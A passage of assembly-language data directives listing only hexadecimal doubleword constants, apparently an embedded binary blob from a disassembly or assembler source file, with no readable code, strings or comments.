7B4F5539h, 605E1022h, 80E902BCh dd 0F17013ABh, 55140C00h, 2798F68Ch, 8578BB32h, 9210F7A5h dd 24412A44h, 83F42251h, 92019033h, 4028EF46h, 90C5BB4Fh dd 2338A725h, 749517A8h, 1ED0B6A9h, 4823F6Ch, 0CEA98264h dd 384434E8h, 22D7F727h, 40BD0F04h, 9896BC18h, 0D6301F38h dd 31CF1883h, 435498CAh, 0FD1751C8h, 0F8C81240h, 0BA30B0B9h dd 219926E4h, 24B03934h, 803D8BB1h, 3A87B700h, 4A78464Bh dd 435C00A0h, 2161DD90h, 0FF58B549h, 0CE7961B8h, 8060385Dh dd 6D3C1CE7h, 8FD16CAh, 91C0791Ch, 53A5ECD2h, 0E68094DCh dd 0FDF7D319h, 0FF393008h, 0B4540436h, 0BB54D1EFh, 348104BAh dd 39838CE5h, 4E352C9Ah, 923F84A7h, 4C93C764h, 2DBB46B1h dd 0B844C18h, 4C274B23h, 0ABFB02E4h, 85DEC1Eh, 4ACD4ECh dd 501700A4h, 944BAA9Bh, 0EB884103h, 7709ED18h, 1CD21490h dd 0F5A830B4h, 8F106520h, 0EB66311Dh, 9B150401h, 78BA6AEDh dd 6629761Eh, 0C9A006F8h, 526F1E7h, 80BB0841h, 0A9B72434h dd 0F556DFDh, 9C2D33ECh, 764D8141h, 3CF87159h, 8CDEE8F8h dd 7C46622Ch, 0A2320D0Bh, 0EABD5E14h, 0A5948220h, 0BC050166h dd 0C438825Ch, 0EAC5F338h, 2A4023BCh, 8EF900ACh, 0D30DE49Ah dd 60001471h, 1B9CA930h, 14977782h, 34870294h, 67813383h dd 9003C05Eh, 0D8134246h, 39FB6664h, 0CB8676ECh, 9C4BA4Fh dd 46216A60h, 3BCECCDh, 0BFFF48F0h, 180335F8h, 0D18F286h dd 0DC92A026h, 1DF30643h, 1166F874h, 0B2C10201h, 89331287h dd 5ED11C51h, 4924A7FBh, 6EA56F00h, 0BC520718h, 0ECCE024Ch dd 31F3FB03h, 0F43D106Bh, 26E300ECh, 0DDE52D34h, 2300C6E0h dd 0EB9A9C1Ch, 633F9B7h, 2BE143DAh, 443989B0h, 3D910F24h dd 0EF2F610Fh, 43D0D13Fh, 7E20C086h, 0A508442Ch, 0FB7B9D00h dd 0DDFED0DFh, 0D9B30CFh, 3B1C35C1h, 0C5258B00h, 56F5096Bh dd 0BF80061Bh, 62FC3D78h, 0F27DBE00h, 30E531C6h, 8CB0187Ch dd 1536E8F7h, 12482C60h, 3BD7653h, 227ACACFh, 918B207h dd 73206ED9h, 0A9BD007Eh, 14C8CA5Bh, 3F028F1Dh, 6C525E10h dd 0C3A0A503h, 912E7023h, 0D8A23A1Bh, 24584470h, 1A443600h dd 0ABA64E81h, 0D63500DDh, 74C0D0FDh, 0C2733F6Fh, 18B4303Ch dd 0DA83293h, 730A0C1h, 61F430E7h, 91CE80E0h, 49318305h dd 0CC40755Dh, 7BACBA24h, 3D8000AFh, 30457A0Bh, 71415FFh dd 0C0F04719h, 0FB18ECF9h, 6C008C9Bh, 1A481913h, 301D6C2h dd 0D437AFAAh, 8FE3CD84h, 166AC0C0h, 4D05A3Ch, 11C45DB2h dd 0BF8287h, 0BB270228h, 93E90F91h, 944EC715h, 5621218Ch dd 36270A00h, 143733D4h, 0CCCEA6Ch, 71D517A8h, 79186078h dd 5F3146EDh, 0F06701F6h, 698BEA95h, 93108014h, 8FAF3107h dd 0FCD30246h, 74507C90h, 30A8200Ch, 48405C2Eh, 0D600BF40h dd 75BBD561h, 0CCB3DD12h, 1D214908h, 62D6B901h, 15957A8Bh dd 0DEB67987h, 0D2DB5150h, 4B9F43F4h, 370E613Eh, 79F7A816h dd 0F0BD9B30h, 663C0C62h, 83085298h, 5857C1C0h, 1B63BF9Bh dd 0E1EA50F5h, 40E199E0h, 91B9BA02h, 807D30C2h, 0A61AC7A8h dd 0E884686Eh, 2100D664h dd 0E04F130h, 1C737831h, 466A6593h, 28680A95h, 0E401FCE6h dd 737560A8h, 0E0FE9F17h, 640EFF88h, 60A77967h, 2360D6C0h dd 4611C3D5h, 0D6B61E0Ch, 0C7002E0Eh, 0DFD81DD4h, 6F556CFh dd 98AA9161h, 6905E074h, 42D4B529h, 26A5A400h, 3A22FE43h dd 5600046Bh, 0D29B737Ah, 30C3831Ch, 0A6A4F4EFh, 0A11109A8h dd 3C315170h, 40318B5h, 191BE27h, 20223294h, 5F270B89h dd 1C8BB21Eh, 85FA434Ah, 7859B03Eh, 5F9DA9Dh, 4F5A2374h dd 28E04067h, 25FEBFFDh, 0DC017BECh, 0F6201E7Ch, 0B8F4790Fh dd 0DB00051h, 36DFEED2h, 47494405h, 0D3120744h, 104DB804h dd 910AB001h, 615BEC42h, 188970F8h, 0A017B0A9h, 0EA812491h dd 2474E017h, 0D31C2028h, 80E46DB6h, 265A944h, 0B3D55EE4h dd 2007E09Ch, 0E22FD6B8h, 0C057E08Fh, 249DEE97h, 4F446F82h dd 4F4090A8h, 0B12B29h, 0D7EECA5Eh, 2CFC24D4h, 47B8D0C1h dd 0A45001AAh, 518DDCEFh, 0CAF0B04Eh, 166F20D8h, 386944h dd 0CB902911h, 75E04C3Fh, 20188000h, 63B45696h, 44EC1510h dd 0BA23F86Ah, 0C1270803h, 2B62F491h, 27108820h, 912139B7h dd 0B4FD6380h, 0F7927D82h, 9C43EE03h, 72509Dh, 0A59A9189h dd 0DF327DE2h, 0B0DCE63Fh, 0E946B84Ah, 0D960A70h, 8867CBh dd 5680D660h, 0D90AEF0Bh, 8C728BFEh, 94F4D502h, 0ADF8A11Ch dd 0A820224Ah, 0BE36025Fh, 42CDB5Eh, 0C4191048h, 0A6BA4814h dd 2359F120h, 2410D518h, 0F01F6EF4h, 9097180Dh, 932C27D3h dd 0F406179Bh, 54B83E11h, 14918449h, 0BC6820A2h, 2FE1D200h dd 61A3979h, 4099FF30h, 6F47F4D1h, 0D7875880h, 1DBC83D6h dd 6B958900h, 10146672h, 48F7FAFDh, 5613C853h, 0E02840F8h dd 516E046Ah, 0A01B78C0h, 10CF6FE4h, 244A6CDAh, 0D2875467h dd 2A85EC25h, 42A84078h, 5E200822h, 0E46B0267h, 284449A1h dd 6CF420h, 54C2D96Dh, 0DA9E41EDh, 40705524h, 0E41ABA04h dd 1207E0C1h, 25889303h, 103EA471h, 29141997h, 0CC351868h dd 40DEC020h, 80E73995h, 1621E5B9h, 10326DEBh, 247D8696h dd 0A84885Dh, 0E4C1BF61h, 0EA0077FCh, 5C9A49DCh, 0E64F4609h dd 21342068h, 6F0EA294h, 4C1EA06Fh, 4F494D92h, 321820FEh dd 0D3107DFBh, 7F4A038h, 208E827Bh, 1D862968h, 90A15ED9h dd 78571888h, 0C08A1166h, 0F106D300h, 0E75C72ADh, 8208CC55h dd 0A800A721h, 9EC861D3h, 27A8A12h, 2AF740E2h, 9882BACFh dd 78C7162Eh, 27637EC4h, 2EA2BAABh, 0EECCED60h, 0D576287Dh dd 90154026h, 0A265498Bh, 3594DA28h, 77822491h, 3444CF17h dd 0D204690Bh, 4980032Fh, 0C46BBAC1h, 20454528h, 288CB8BCh dd 4DE42706h, 2C882809h, 270E8A83h, 1FDB903Eh, 54FC0245h dd 4C31D9BEh, 50F0E0A7h, 82842D12h, 2B16EEE2h, 0E801C293h dd 850B324Ah, 7EB05CF8h, 9DC3460h, 649882A1h, 0E998D420h dd 44D94895h, 0C1C14A3Dh, 534830F1h, 489FB480h, 9C5141F0h dd 0D44540E1h, 80592408h, 0B05B1DFAh, 53FB4FFDh, 0B7F009CCh dd 920A257Ch, 8870A4A2h, 0D18E420h, 0FD687173h, 44F498B7h dd 0C24D557h, 90B13880h, 0FA028482h, 0F0362861h, 92052621h dd 191FF7DAh, 1E04B005h, 0A8C33CD4h, 18190076h, 0FD2B5677h dd 51C22DC4h, 405DCE06h, 280535ECh, 20347934h, 0F5F87CDAh dd 18C127EAh, 88F70DEEh, 0D0948104h, 0CDE00016h, 4DA13217h dd 0BA26E870h, 79572030h, 38B80629h, 10584C3Dh, 50585296h dd 50828C10h, 6341F210h, 40144460h, 66F8FB50h, 0A21984E3h dd 0BA008310h, 58C171C3h, 0C9107F65h, 4DDD3420h, 0A26304C0h dd 0CC4821CFh, 0F0186258h, 7529C195h, 1F5C927Ch, 40889901h dd 9A558710h, 4B0372B8h, 0B16EDFDh, 98C8DC63h, 0D04048A6h dd 6CC00A88h, 21F0C99Bh, 659139C2h, 9B64B303h, 0F831B972h dd 0F079C9F4h, 6719218Ah, 0C8D38948h, 58A0D40Fh, 75CDF20h dd 0FD133773h, 0F00891A9h, 0E4690574h, 3A9C5696h, 2262368h dd 0D1D9A965h, 0D06028E2h, 9001082Ah, 5F1A231Dh, 4865F404h dd 23BD9C02h, 249AFCD3h, 0EF6B14C4h, 0A6580519h, 9BD80D8h dd 0CBD56BD6h, 1B809C45h, 0C5BD6B7h, 0E3DA007Bh, 9BA92DD4h dd 6CAB6A8Dh, 1C4C90C2h, 0BC48B05Ch, 24008C2Ch, 6BC2FACDh dd 50703C50h, 0A814A49Fh, 88724FC4h, 0A104F9B3h, 54E5E88Ch dd 22284082h, 0BCC8D917h, 0A9075E60h, 26AAA3B4h, 0C420728Eh dd 53DFEED4h, 14509C60h, 5E028C10h, 52F0BF9Bh, 1081193Ch dd 59B5659h, 84978B50h, 0C9BC084Ah, 8170758Dh, 122BBF4h dd 0FEB2A0EDh, 0F71055F5h, 896DF100h, 17A5BCD0h, 0E07E0E56h dd 75E75898h, 0D99051A4h, 79D8914Bh, 0C8533115h, 1BE99401h dd 0C429BE9Dh, 247DDAC7h, 0B7900701h, 76AAA5F0h, 0F85F8420h dd 7CE487E9h, 0A00AE260h, 0E4409E01h, 2ACAD89Fh, 0ED04D426h dd 0D15E05ECh, 32FFDA14h, 69307C74h, 0A717183Dh, 0BA12FE35h dd 0DA9B0C08h, 0ED281E8Fh, 2D4E0413h, 552E8806h, 47FD00E1h dd 0F6503E96h, 0D4124A97h, 14C0302Ch, 48AE56BAh, 3110689Fh dd 0EF4F0C6Ch, 2EED917h, 0E4F10DD9h, 20C83261h, 715868CAh dd 0B0668BA0h, 11D3BB04h, 8885F0FFh, 0C3B4837Dh, 0DF8FED3h dd 5600A0DAh, 0E8F73B84h, 24F1CE32h, 1138D9F4h, 0FC970671h dd 1DF84C75h, 2E68A2C6h, 0C8954764h, 74F52D83h, 10D03D28h dd 0C8184AB0h, 0DA00336Eh, 0A6407A4Dh, 0B854A293h, 0E9208098h dd 7C598267h, 0FB184379h, 1BECE00h, 1E5E3357h, 9F48A02Fh dd 1A87321h, 0F353711Ch, 0DD12A7ACh, 0DCEE21D7h, 8F07300Ch dd 93CA879Bh, 0DCE65F40h, 0E0535CFBh, 0A4AB90C8h, 189C678h dd 0F0BC109Eh, 3269329Dh, 413410E4h, 0A404044Eh, 484F0946h dd 0DD618h, 25E69602h, 83D94B53h, 8079C53Bh, 803BE271h dd 61B07569h, 10BA3084h, 0C4C0241Eh, 6D3BE07h, 0BE0946Fh dd 987B520h, 5103E218h, 9E213490h, 9C17DA2Ch, 465C7048h dd 2DC007Eh, 0C36417B8h, 525E28A5h, 7EE20060h, 0CBE13A5Ah dd 0CF1E5C32h, 6C40F2A5h, 0D955C11Ah, 8A92C11h, 4BF92B4h dd 5F357Ch, 2362AFAh, 98FC2ED5h, 31A98544h, 0C1EC575Ah dd 40E8E555h, 7A3B35D8h, 18494484h, 860B0314h, 4AAB84B8h dd 0D0DF9800h, 2512F1D2h, 70468A75h, 7F396C52h, 0CCEF0108h dd 9A57005h, 0A0B8F86Dh, 0A1142106h, 40B07B88h, 6C4028C0h dd 0DCEF0B10h, 80902E0Dh, 84821DF1h, 0BA6165CCh, 9DEC70D3h dd 8B11CC93h, 0D3C2B100h, 0F5D8CE7Fh, 0BB95D600h, 76567E5Eh dd 772A30A5h, 19CE10D0h, 22C6352h, 0F102D3BCh, 1081318Dh dd 0BD3C4B3h, 0B8DB9550h, 0C8A81007h, 6B600B44h, 0F076BE9Bh dd 63560487h, 0BD05C09Bh, 0DCB0C6BEh, 960A0775h, 4CD04DD2h dd 834656h, 0C0C8B92Dh, 729327D4h, 0D0E226C9h, 84FC0814h dd 0CE11A489h, 9B4640A4h, 261F9D0Dh, 5830A010h, 0FC7954FAh dd 0FE84200Ch, 4E41A09h, 40E8CEC0h, 20A72082h, 4C031504h dd 7980834h, 0CA9B67C0h, 0BC73E5F0h, 9B5FB283h, 4B23DFF8h dd 6490D824h, 157B8260h, 0EFFF4C97h, 7DEA0C44h, 4B080524h dd 0D0F6DCE7h, 0D4EBB744h, 19F4B790h, 309DA0AAh, 45807D11h dd 2C28C054h, 1AA29002h, 4A702B53h, 58C4B2B4h, 61B522FCh dd 12F3A4A1h, 40C3A9h, 0E55A188Eh, 0F49A1AD5h, 48C0147Eh dd 8010AE55h, 60A41CF6h, 30231424h, 419E2B16h, 0DEEE37E4h dd 8C2C4CD2h, 0F8D1FC79h dd 0C5513F3Ch, 85122037h, 76F0670Eh, 62441015h, 1C893A9h dd 0EA61ABAh, 0DB808E66h, 44049333h, 0EF017648h, 3D5239FCh dd 0C1E83934h, 3CF10861h, 675F7501h, 1E1FE058h, 94F801B2h dd 7198B672h, 0D478C2D1h, 1C665224h, 86A36384h, 0B304D7C0h dd 6258078Eh, 707B13A9h, 0F376AE4Bh, 986E7F3Fh, 619841EEh dd 745F1DDBh, 24A71617h, 5A9D0CDCh, 0D93C0420h, 43E11632h dd 7B6148Ch, 58972EA6h, 0B084142Dh, 9CA0BFC8h, 0CA801F53h dd 0CD60D98h, 0D4E0C401h, 28C273CCh, 0A1E631B8h, 0AE28E088h dd 49D08720h, 0D0480C15h, 1023A8A2h, 9817B16h, 39494712h dd 4BAB040Fh, 7E11EC9Fh, 40C4F880h, 0EE00279Ah, 0DA7B1BF7h dd 0AA8F76E4h, 0FB06688h, 0A0DB77D0h, 38F99700h, 330F86B2h dd 456EBAAEh, 90823EDDh, 64182258h, 0E00D046h, 8ABEAE27h dd 8872F4F0h, 0F22EA3B4h, 0D25A70CEh, 2D350AB8h, 249C7D40h dd 6DB50444h, 95790466h, 843A0A5h, 4F06CC90h, 0EE0919C1h dd 0E754AA5h, 15E0665Ch, 48512D0h, 803484FEh, 3898D184h dd 990B0776h, 67E55631h, 7F896468h, 847A8921h, 0CB60C49Ch dd 0D5236DD6h, 724C11DBh, 18D6C500h, 0CA21EEFAh, 5BE49Eh dd 0D9ED3AA2h, 5ACF8F9Bh, 0E0903090h, 71870D17h, 0B1216090h dd 0FED4E5Dh, 979610C4h, 9CB03938h, 316D3BFh, 9C8BA5F1h dd 0D3A7A800h, 2AC3DC6Bh, 904BC94Ah, 0C4C44798h, 0F7C36081h dd 14E27C74h, 987E0CFBh, 770D1872h, 24D5C089h, 244A3027h dd 0D859B580h, 0CCA058C3h, 0D56CD608h, 5741C4E3h, 0DBD8E8C0h dd 0E361003Dh, 0ADA6D06Ch, 0DC136EA0h, 6C904101h, 6A29EC8Fh dd 0AE41057h, 44986618h, 6BBF8249h, 0ED82D8D1h, 8056F1DCh dd 51DAD420h, 1FB4859h, 0B81D612Dh, 98802B91h, 52F02843h dd 790C1D05h, 84E18C7Dh, 0A0A906CAh, 26690822h, 1DD89118h dd 0C7117019h, 4B0FD198h, 60CDFAB8h, 503D5D0Dh, 6AF83C71h dd 0D4601D01h, 6DDCD0EEh, 0D1169EB0h, 8323B03Fh, 525820Bh dd 8A45A74h, 0DC87262h, 8A109FFCh, 0C1A002E9h, 26FF8CB0h dd 0E191BA08h, 42256493h, 60270755h, 30A1B590h, 1A192310h dd 41748050h, 7C664800h, 3B0D7831h, 48BE025h, 623A9F23h dd 3EE8C2A8h, 0F434EA20h, 0DCF1150Dh, 9E73E0C5h, 4C465EA0h dd 2CD35902h, 0F0D2171Ch, 0FC54B648h, 0AB3A8C49h, 0E3E000FCh dd 60618AF7h, 0E805312Bh, 6D9B6A61h, 45DD0154h, 9A58713Eh dd 3354E404h, 25E40518h, 88519231h, 7359E54Fh, 0C95E7C00h dd 0ACD9E44Ah, 0E21C9509h, 5E8454B0h, 54014446h, 2B944DE7h dd 57DBD837h, 105FD30Ah, 90A5D462h, 906BC44Ch, 0E0EA0342h dd 2C358112h, 0FB5C4FD1h, 3F19EEC0h, 0DA91870Ah, 5F94D81Bh dd 48B222ACh, 90803875h, 0E6443292h, 0D3987900h, 0CFDD2CC2h dd 0FDBC0058h, 0A057469Dh, 4146AFEh, 9F447F6h, 50E4D111h dd 0F45F05C8h, 20F35106h, 2A9DEE8Ch, 0F60BC4B6h, 0DC40477h dd 0C09B6160h, 965AF025h, 59580010h, 2578709Bh, 98020B7Dh dd 7B272E09h, 8864FB1Fh, 18A481DCh, 0F631508h, 0B241DEB4h dd 9A8676E0h, 6AC0ED21h, 5264B074h, 1A79C070h, 0F683C023h dd 61742101h, 65DD177Ah, 0B8CA418Eh, 8BCE1064h, 0C176C8E8h dd 0E020EE7Fh, 79D20FAAh, 8323F83Ah, 6AC32301h, 0C8478D07h dd 6420F1ADh, 0F35040A0h, 86432CB2h, 303430F4h, 9B3F1809h dd 9C4B5E46h, 509842CDh, 75C726B0h, 202901CCh, 448B2666h dd 34B082F4h, 38ACB0F0h, 76D818C4h, 40C5A644h, 3D8B28DDh dd 24BE48CEh, 63C4C1A4h, 41D86974h, 92A5F040h, 4198662h dd 0C0E86AD4h, 8278B270h, 0F490C892h, 0EC27FCD3h, 2582971h dd 8780C38h, 0CF9604A8h, 36608C99h, 80667144h, 0A4144FA5h dd 1A850ECh, 5532DEB6h, 5C28F5B2h, 0DC66A004h, 0B484D341h dd 47B1F9C0h, 93AA2Dh, 0A60497E8h, 840C9644h, 0E3168458h dd 3084A2F0h, 6B12EE8Eh, 0E4E4D217h, 50440329h, 793A462h dd 3E96261Fh, 0C8F47A05h, 0F78FF0F0h, 78850771h, 0B449E4EFh dd 0F54ADA04h, 94062485h, 28A85066h, 4C0CA293h, 0D6308468h dd 5EF4D1A9h, 103723Eh, 0F10ED71Ah, 519CD9FCh, 996DD867h dd 5001B80Bh, 2ACA7531h, 5F6161E4h, 2CEB4088h, 8DFF6A00h dd 0FC908E8h, 47B8DC62h, 5C17CD09h, 0DF808B91h, 7EE9D91Eh dd 0AD881700h, 9BE0C95Ah, 51AC3AA3h, 0ECEE9D02h, 0D4A74DF5h dd 9E6152DEh, 25E2E0C3h, 7CA0C324h, 0F85D45A5h, 6302A980h dd 0DEE127D3h, 0DAA8A158h, 0FB006BD4h, 0A82025FCh, 0BE8C1475h dd 42EA0C1h, 856A8128h, 4FB7101Fh, 0A9121120h, 444B118Eh dd 651728C0h, 45CDC0C9h, 6080C43Ch, 0FC1368A9h, 0E8C426BFh dd 5B738190h, 7219AAF8h, 0F3DC0164h, 4E8F6A67h, 60759C24h dd 0CDE3497Bh, 650030BBh, 0A649D424h, 5D033609h, 0C32344CEh dd 0BC270101h, 70EF191h, 0C2270953h, 614D14A2h, 4C68B608h dd 0B928D32Ch, 41BCA058h, 0AF49078Ch, 0D0E985FFh, 0EB67FEE3h dd 0F940E802h, 0C1652FD3h, 4150F88h, 4431A74h, 448060AEh dd 2C2AFA46h, 593451A6h, 0FE71076h, 4FF61647h, 7424047Eh dd 7D111E1Eh, 0D2FFC702h, 0D0D83EF4h, 0F9181030h, 78FC0Dh dd 0B16E8F17h, 0F0CAFD03h, 2FE5700h, 0FA66A95Ah, 0F80B04E8h dd 0C6ECF113h, 694CA03Bh, 8D12280h, 78BF0DEEh, 0C00F945h dd 1F2950DCh, 96FCB192h, 0AE70204Fh, 0E200C12Bh, 808FAD0Eh dd 27DACFB8h, 340D4F7Ch, 0BCC03CE1h, 0C8008C80h, 0AFA5A441h dd 90134FDh, 0CAAB9B47h, 0DC12AC09h, 18C5A422h, 9E11C8C4h dd 5E787A3Bh, 0CB24121Ch, 0C07FC8DCh, 0B728024Ch, 35D80E01h dd 1050035Eh, 9E58C8CAh, 0B0DA3E66h, 829ED16h, 79891BC4h dd 475C10F1h, 80A44AD9h, 0F30469A8h, 114C9F95h, 4D348120h dd 66E4CCD4h, 24D73FADh, 4E816459h, 0A72C2A5h, 491D1018h dd 0DE007E58h, 0B631D02Ah, 3124442h, 0B16B7549h, 29BEEA7Ah dd 3B24A3FCh, 2D60648Fh, 9E159CF5h, 857B8414h, 241F2269h dd 0ED608C9Bh, 0A0B52A01h, 32318533h, 0D5056428h, 0A4839404h dd 0DCB284BCh, 7A7824h, 0FE0746A8h, 0BCDDAE5Ah, 232016A0h dd 43300656h, 29727569h, 71FC9B01h, 0CDC29DA1h, 0D860B8C1h dd 2B549C36h, 1A10BE70h, 0B551E70h, 0A6FCC865h, 7B0E88BDh dd 62F4919Fh, 1035077h, 0AD500643h, 20E5999Ah, 550C931Ch dd 8AC150E7h, 7D7810C0h, 5B405CB9h, 8415B803h, 5081BA30h dd 1F1B214Fh, 0E62FC32h, 0E4296A48h, 171B10D2h, 8A3036A7h dd 76C87E9Ch, 4F094A46h, 0F8024C93h, 0D30092EFh, 40106CF4h dd 0AE4A9D50h, 0CD7568C1h, 0EC309C75h, 0AC3E49E5h, 410DAA11h dd 84B6E0B8h, 0D8FD0680h, 773764Ah, 112D2E77h, 0DA88174h dd 5C479103h, 460D080h, 98115CCCh, 664648Fh, 0B8A4FCB1h dd 0A0038C25h, 10EB1714h, 0EF190011h, 6384EEA7h, 7E0A47D5h dd 50FCB8D6h, 3D76C980h, 4E55CDDh, 7EC7296Ah, 14C705h dd 25E398D2h, 0ADF02209h, 0FD0C4042h, 0C11B56Ah, 8B8CECC9h dd 0ED57AF05h, 588BB0D9h, 0C920C8h, 35580118h, 4CA27D9Ch dd 3E4F1481h, 0F9862390h, 0CAD20E86h, 0C045C8C4h, 4357E08Fh dd 0C7910F14h, 0EE6005F4h, 0E1CDFCh, 2E6FE842h, 88053A9h dd 0CD5BACCh, 0D29BE0C1h, 3A7EACh, 3D44DF70h, 85F84B39h dd 59465CB8h, 4D3BE02h, 4459BDF1h, 25A6A563h, 4C644C20h dd 0EE3D4E00h, 559CBB89h dd 93E60723h, 0F59A4702h, 0AA8404B6h, 6694907Bh, 0A6E813F0h dd 1C91A90Ch, 7DCF20B8h, 3008674h, 358A04EFh, 0EB47378h dd 0C95194A6h, 0F5F9A7C1h, 0E270731Eh, 0E4E0331Fh, 1C2E06C5h dd 0EB1E08A6h, 956A2D60h, 21148844h, 0E8D85742h, 0A5008C43h dd 5B08DAE5h, 24EE18h, 6554A6B5h, 10C7F345h, 789180E3h dd 97B2C19Ah, 0E4694C23h, 6F2F9445h, 709A1778h, 30993705h dd 0AD569C02h, 71C84234h, 0A5F08490h, 2024CC16h, 815DAF2Dh dd 702CD588h, 102C147Ch, 4D814064h, 7701277Fh, 0A372E10Ah dd 7828CE0Ch, 788C83B8h, 2EEF135Dh, 0BA040966h, 0B05A80F0h dd 2123982Eh, 0E46C2400h, 26774FF2h, 8346266h, 1B3D9992h dd 8AF16DFCh, 43807C97h, 22946424h, 0A8D3253Eh, 446B24A0h dd 90F47592h, 0A7873DCDh, 4704EA3Ah, 0BC4C20CAh, 8C80ECCCh dd 89FD9400h, 127BD0D1h, 399F0218h, 883A9DF0h, 0E48B685Ch dd 6A0CC81Ah, 0A7A1C067h, 0ACCA9181h, 3107DCB6h, 7A45A1F4h dd 0E412EC25h, 0E1B0400Ch, 0E258BEBFh, 5294192h, 0AC91D40Dh dd 98689A5Ch, 77DB1D09h, 0ED0C4CD0h, 6038B1ECh, 39526731h dd 79D10C21h, 5E409618h, 0B08F9218h, 3C8B120Ch, 0B7CC48BDh dd 0C02705C0h, 8694F491h, 872344h, 6B01270Dh, 2E142CD3h dd 0DE1CA0B5h, 20712632h, 0CF12CCE9h, 38A0BE89h, 2E484116h dd 4009F013h, 0C40845B1h, 74836022h, 909509FEh, 3C851EAAh dd 4A20BC36h, 0BC2EEC17h, 0A4007F23h, 29D90428h, 17A71280h dd 652820CFh, 546EC5ECh, 0C7DBE960h, 54D46270h, 54D4083Fh dd 0D1C4995Ch, 7210182Bh, 0CF1D0FE8h, 0CD6E90BAh, 4A58DF00h dd 0B605CA0Ch, 78FAAB18h, 8B5A70B9h, 0C165C844h, 0C4DCEF55h dd 18121A5Fh, 0F4F4B4D9h, 0A85C8869h, 58FC2001h, 6F7F78FFh dd 0F8511530h, 0FD2D0797h, 6BCAAD48h, 0F433B8A0h, 0A493387Dh dd 25660200h, 4B7565D5h, 0C18C0396h, 5181DFEFh, 3D29A8B0h dd 1C64649Eh, 0B3EECA4h, 82F4795Eh, 0CF4C10CEh, 0EF95009Ch dd 0DFFDFE8Ch, 71DE005Ch, 0DC3D758Bh, 0AC1CDBCDh, 0DC24CA9Bh dd 58B04F89h, 1B1030E8h, 0F36B4851h, 1E87E100h, 0BC3FDB4Ah dd 31ED0375h, 481A5878h, 66C267F9h, 0D6C91E20h, 9CEBD58Bh dd 0C3170034h, 47133FD6h, 9265B2Dh, 6608A8C8h, 0EEFA038Ah dd 0E8A06A2Eh, 3D5C98D8h, 0DEB402D8h, 79372138h, 1FEDF1D4h dd 725EEDC8h, 74842071h, 7D20EF4Ch, 8251EC93h, 40C0E318h dd 6AC1EF9Dh, 8400919Ch, 1B582Ch, 2E9F17C0h, 5BB02010h dd 0F563022h, 45D055C4h, 2C1647C1h, 99E4C4F0h, 4C08494Dh dd 13E71700h, 0DCA64813h, 405309E0h, 0AB8AB500h, 1EEE7D21h dd 0EDDA2F92h, 75F4E048h, 0B443CCAAh, 2888990Fh, 0DA3540E5h dd 1D89B72Ah, 80640D93h, 40779EAh, 8B1F7DFCh, 0C6E750FFh dd 18FD2034h, 8724F012h, 46F20CA2h, 0FAAA030h, 0CA4B29EDh dd 0A240EE27h, 0CCEAEFF4h, 7E7954F1h, 0CA7D3E18h, 85AEF002h dd 0FE794DD0h, 0F242C004h, 0A348F688h, 83760B0Ch, 5B48D269h dd 0EC28C990h, 4B5B4604h, 7265BC05h, 68F5A481h, 3EFBFA00h dd 0FC9C453Fh, 95B952Fh, 8098793Ch, 200BAEC3h, 28FAAD1h dd 67F8128Fh, 0B5D06468h, 0E02981CAh, 34046C11h, 3C35F4h dd 0CDFEF84Fh, 0BD6AFC1Eh, 0DA9DA410h, 0C05F9520h, 0EE8D4840h dd 54F8D509h, 0B988039Dh, 993AF091h, 0AA480833h, 0FB024BC8h dd 0F02678F4h, 0FC8D3840h, 0C8841AAh, 0C38FF663h, 0D914F418h dd 80485DC5h, 0B5FFF889h, 6984408Fh, 6C783221h, 0AF981D0h dd 13F8057Fh, 68DDF312h, 0C2529C20h, 0BEFB0088h, 0FCFD0B12h dd 6754A948h, 2FD42070h, 7C411C0Ch, 0F0207A32h, 0E96DA697h dd 0C2A8447Bh, 90314CC8h, 2C08B35Eh, 8C642568h, 344DFC29h dd 1E5069Ch, 83045F1Ch, 337009D3h, 7CC07A96h, 20CD019h dd 30F5BA40h, 0CB875E7Bh, 12DC4894h, 800488Fh, 61849A93h dd 0E91203D6h, 62ADEE95h, 50C16968h, 8C3491C5h, 5F46C301h dd 80502024h, 0D147A61Ah, 5B970CA9h, 0B2C1D184h, 544F2F70h dd 0B9049054h, 81C86C9Bh, 839D595Ch, 8053548h, 0A9203C19h dd 0F54DDD80h, 0B8865A4Eh, 0A460B21Fh, 0B516B4EAh, 68D23A91h dd 0EEC2DD97h, 747B68F2h, 0E4425494h, 0AC8B0967h, 1D0B90DAh dd 2470A294h, 0B882678Ch, 50A029F8h, 74B8A292h, 24D8A2BDh dd 0A8F31056h, 5E8C7C8Ah, 0E6008046h, 9FE04834h, 9C99315Bh dd 19A3000h, 1E6D2FEh, 0F2E4E142h, 0F4E7BA76h, 4F2F66B4h dd 93D848EEh, 0BE6C0EC9h, 821D5864h, 0F37569BAh, 0EC8F30E8h dd 0C0E194Ah, 28CB3783h, 0A2C184C8h, 203B9DB2h, 5EF57B68h dd 9F96BF38h, 144001D9h, 2CD4C4D8h, 0F496FCh, 731F1759h dd 0D078B26Eh, 963FD8A4h, 25B75CD2h, 9BD480C5h, 33048E90h dd 411040DEh, 0C4E35EF2h, 0ED9ED8A7h, 0E0819597h, 0D0515431h dd 21817578h, 5359D728h, 8B5AC41Fh, 0CDA9BD00h, 0B81642FBh dd 4C551265h, 820CAC83h, 5ACA10C9h, 73DD3050h, 0A2DFD449h dd 38BBB48h, 98315472h, 4D2930F2h, 0DE941AC0h, 66311F60h dd 209D0646h, 0C31FBDEEh, 5204711h, 535CDD6Bh, 9374B08Bh dd 0D0B9A56Ah, 188C0D0Ch, 10786F0h, 0DDD3D997h, 10F4C365h dd 182658ABh, 765D5A10h, 465EE49Ch, 8A4E1D46h, 0C2612005h dd 0C2ADAD83h, 6A186473h, 28A97Dh, 56D9106Eh, 0B51709AAh dd 24A42A47h, 42F34A79h, 8CA16FE0h, 0C6063C7Ch, 751975F0h dd 0CCA448h, 0CA252D3Bh, 0E2A99A29h, 2718B000h, 9178A4C1h dd 307BE607h, 0A8395401h, 66004273h, 0C9B57518h, 0EADE7C68h dd 0F3F43889h, 45221E04h, 1108C346h, 0C902CFBh, 0CF0464CAh dd 0E50A5DC1h, 782804AAh, 0EAC6604Ch, 0DB50A015h, 943EE33h dd 9C2E2950h, 390184F0h, 0DEE5F86h, 8C446E9Fh, 8DE1A4A3h dd 429C085Ch, 0A5CA1066h, 11200EB9h, 0B480A92Dh, 95F041D4h dd 9880864Bh, 12EE36D3h, 54B27706h, 9781F0FCh, 3E2D814Bh dd 46A3C4Ah, 0E853007Eh, 0E9B694C6h, 0BC008AD0h, 0B48BAF3Dh dd 308CD5F0h, 5D19EC69h, 0B5018DBAh, 7A94D6FEh, 0E900C540h dd 0C23EB6C8h, 0B5911D3Dh, 